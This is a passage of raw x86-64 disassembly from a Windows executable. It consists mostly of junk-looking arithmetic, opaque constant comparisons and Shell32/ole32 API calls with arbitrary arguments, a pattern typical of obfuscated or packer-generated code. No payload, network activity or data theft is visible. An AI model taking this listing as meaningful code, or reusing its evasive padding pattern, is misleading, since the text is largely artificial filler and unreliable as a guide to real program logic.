mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x874], ax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x860]
xor eax, ecx
mov word [rsp + 0x874], ax
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ae0]
mov qword [rsp + 0x4d58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d58]
mov rax, qword [rax]
shl rax, cl
mov qword [str.kD3], rax
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x874]
or ecx, edx
cmp eax, ecx
jl 0x14000996c
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac8]
mov rdx, qword [rsp + 0x4b88]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x140009930
mov r9d, 0x68
mov r8d, 0xe8
mov edx, SHGetNewLinkInfoW
mov rcx, qword [rsp + 0x4d60]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28bc], eax
lea r8, [rsp + 0x55]
lea rdx, [rsp + 0x162d8]
mov ecx, 0x1c
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x29f4], eax
mov rax, qword [rsp + 0x4bf8]
mov ecx, dword [rsp + 0x28f4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53], al
lea rax, [rsp + 0x858]
mov qword [rsp + 0x4d70], rax
movsx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2908]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c68]
mov qword [rsp + 0x4d78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d78]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b78]
shl rax, cl
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x874], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
movsx eax, word [rsp + 0x874]
movsx ecx, word [0x140178e70]
add eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
movzx eax, word [rsp + 0x86c]
movzx ecx, word [rsp + 0x858]
and eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a050], al
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b30], rax
mov eax, dword [rsp + 0x2908]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29e4], eax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29dc], eax
mov eax, dword [rsp + 0x28fc]
sub eax, 0xb3
mov dword [rsp + 0x28fc], eax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
shl eax, cl
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
xor eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac0]
mov qword [rsp + 0x4d80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d80]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4b30], rax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x874]
and eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140178e68], ax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b30], rax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x29e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4c80]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4bf8]
mov qword [rsp + 0x4d88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
cmp dword [rsp + 0x28fc], 0x120e
ja 0x14000996c
movsx eax, word [rsp + 0x860]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
xor eax, ecx
movsx ecx, byte [rsp + 0x56]
movsx edx, byte [rsp + 0x55]
and ecx, edx
cmp eax, ecx
jle 0x140009e25
mov r8d, PathMakeUniqueName
lea rdx, [rsp + 0x4b70]
lea rcx, [rsp + 0x2904]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x29f4], eax
jmp 0x140009ecf
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [0x140178e78]
mov qword [rsp + 0x4d90], rax
movabs rax, 0x7aa316edb1fb14
cmp qword [rsp + 0x4d90], rax
je 0x140009e60
jmp 0x140009e95
mov eax, dword [rsp + 0x2908]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4ba0]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0x53]
mov rax, qword [rsp + 0x4c80]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x51]
call fcn.1400fbea0
nop
jmp 0x140009ecf
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov byte [rsp + 0x57], al
lea rax, [rsp + 0x870]
mov qword [rsp + 0x4d98], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [0x140178e68]
sub eax, ecx
mov word [0x140178e88], ax
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d38]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov byte [rsp + 0x29f8], al
cmp byte [rsp + 0x29f8], 0
je 0x140009f21
cmp byte [rsp + 0x29f8], 0xa3
je 0x1400f9c9d
jmp 0x1400f9d75
lea rax, [rsp + 0x51]
mov qword [rsp + 0x4da0], rax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4c28]
mov qword [rsp + 0x4da8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4da8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4b78]
mov rdx, qword [0x14017a058]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000a0ba
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
and eax, ecx
mov byte [rsp + 0x54], al
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [0x14017a050]
sub eax, ecx
movsx ecx, byte [rsp + 0x52]
mov rdx, qword [rsp + 0x4ba0]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x14000a099
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov byte [rsp + 0x29fc], al
cmp byte [rsp + 0x29fc], 0x26
je 0x14000a078
cmp byte [rsp + 0x29fc], 0x33
je 0x140009fe2
jmp 0x14000a099
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x860]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a050], al
mov r9, qword [rsp + 0x4af8]
mov r8, qword [rsp + 0x4db0]
mov rdx, qword [rsp + 0x4d60]
mov rcx, qword [rsp + 0x4db8]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x28cc], eax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x14017a050]
add eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x29c4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
jmp 0x14000a099
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4d68]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x870]
movsx ecx, word [0x140178e70]
or eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4d68]
mov qword [rsp + 0x4dc0], rax
cmp qword [rsp + 0x4dc0], 0
je 0x14000a110
jmp 0x14000a15a
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov word [rsp + 0x878], ax
mov dword [rsp + 0x2a00], 0x5f43
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x878]
sar eax, cl
mov word [rsp + 0x86c], ax
mov eax, dword [rsp + 0x29e4]
mov dword [0x14017a064], eax
jmp 0x14000a1c2
lea rax, [rsp + 0x29dc]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4b08]
mov r8d, 0xea
mov edx, 0xa
mov ecx, 0xc5
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0x297c], eax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x4c58]
movzx r9d, byte [rax]
movzx r8d, word [rsp + 0x868]
movzx edx, byte [rsp + 0x53]
mov ecx, dword [rsp + 0x28d8]
call fcn.1400fc1b0
nop
movzx eax, byte [rsp + 0x50]
movzx ecx, byte [rsp + 0x57]
shl eax, cl
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4be0]
movzx edx, byte [rdx]
xor ecx, edx
cmp eax, ecx
jg 0x1400f9a56
mov rax, qword [rsp + 0x4b80]
mov ecx, dword [rsp + 0x2a04]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140178e8c], eax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x2a08], eax
cmp dword [rsp + 0x2a08], 0
je 0x14000a238
cmp dword [rsp + 0x2a08], 0x7432
je 0x1400f9998
jmp 0x1400f9a16
lea rax, [rsp + 0x28f4]
mov qword [rsp + 0x4dc8], rax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
movsx ecx, byte [0x14017a050]
movsx edx, byte [rsp + 0x56]
and ecx, edx
cmp eax, ecx
jle 0x14000a36e
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
movsx eax, word [rsp + 0x874]
mov dword [rsp + 0x2a0c], eax
cmp dword [rsp + 0x2a0c], 0x1c5
je 0x14000a2bd
cmp dword [rsp + 0x2a0c], 0x5be
je 0x14000a353
jmp 0x14000a369
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x50]
add ecx, edx
cmp eax, ecx
je 0x14000a306
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
jmp 0x14000a351
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov rdx, qword [rsp + 0x4b88]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jge 0x14000a351
lea rdx, [rsp + 0x16860]
mov ecx, 0xd7
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x28dc], eax
jmp 0x14000a369
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov byte [rsp + 0x57], al
jmp 0x14000a496
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4cf8]
movsx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jge 0x14000a496
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x4dd0], rax
movabs rax, 0x7ca2e0acc0b3f2
cmp qword [rsp + 0x4dd0], rax
je 0x14000a3c9
jmp 0x14000a47a
lea rax, [rsp + 0x4d98]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x4c68]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x4b18]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4dd8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4db0]
lea r8, [rsp + 0x55]
lea rdx, [rsp + 0x4da0]
lea rcx, [rsp + 0x4ac8]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x29d4], eax
movsx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [0x14017a050], al
mov edx, 0xce
mov rcx, qword [rsp + 0x4de0]
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x2a10], eax
jmp 0x14000a496
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x874], ax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28d8], eax
mov eax, dword [rsp + 0x29dc]
mov ecx, dword [rsp + 0x2970]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4b88]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c68]
mov qword [rsp + 0x4de8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4de8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sar eax, cl
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
movzx eax, word [rsp + 0x864]
movzx ecx, word [0x140178e88]
and eax, ecx
mov word [0x140178e68], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x878], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x29c4]
mov ecx, dword [0x140178e6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2970], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b88], rax
mov eax, dword [rsp + 0x2908]
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x860], ax
movzx eax, word [0x140178e68]
movzx ecx, word [rsp + 0x858]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x874]
add eax, ecx
mov word [0x140178e70], ax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x56], al
movzx eax, byte [rsp + 0x57]
movzx ecx, byte [rsp + 0x53]
or eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x86c]
sar eax, cl
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2940]
sub eax, 4
mov dword [rsp + 0x2940], eax
mov rax, qword [rsp + 0x4b30]
movzx ecx, al
mov rax, qword [0x140178e60]
shl rax, cl
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29dc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4dc8]
mov dword [rcx], eax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57]
sub eax, ecx
mov rcx, qword [rsp + 0x4d28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
and eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [0x14017a058]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x2a04]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2970]
shl eax, cl
mov rcx, qword [rsp + 0x4ca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sar eax, cl
mov rcx, qword [rsp + 0x4d28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a050]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
cmp dword [rsp + 0x2940], 0xb0c4
ja 0x14000a496
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x86c], ax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [0x140178e70]
mov rdx, qword [rsp + 0x4cb0]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x14000a9d7
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov edx, 0xed
lea rcx, [rsp + 0x4b98]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rax]
call fcn.1400fa910
nop
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [0x140178e60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x868]
mov word [rsp + 0x87c], ax
movzx eax, word [rsp + 0x878]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x858]
mov dword [rsp + 0x2a14], ecx
mov rdx, qword [rsp + 0x4cd8]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2a14]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1400f98f0
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x85c], ax
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x58], al
movzx eax, word [rsp + 0x878]
movzx ecx, word [0x140178e68]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov eax, dword [rsp + 0x29e4]
mov dword [rsp + 0x2a18], eax
cmp dword [rsp + 0x2a00], 0x48e6
jbe 0x14000aebe
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4b88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
sub eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov word [rcx], ax
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [rsp + 0x51]
and eax, ecx
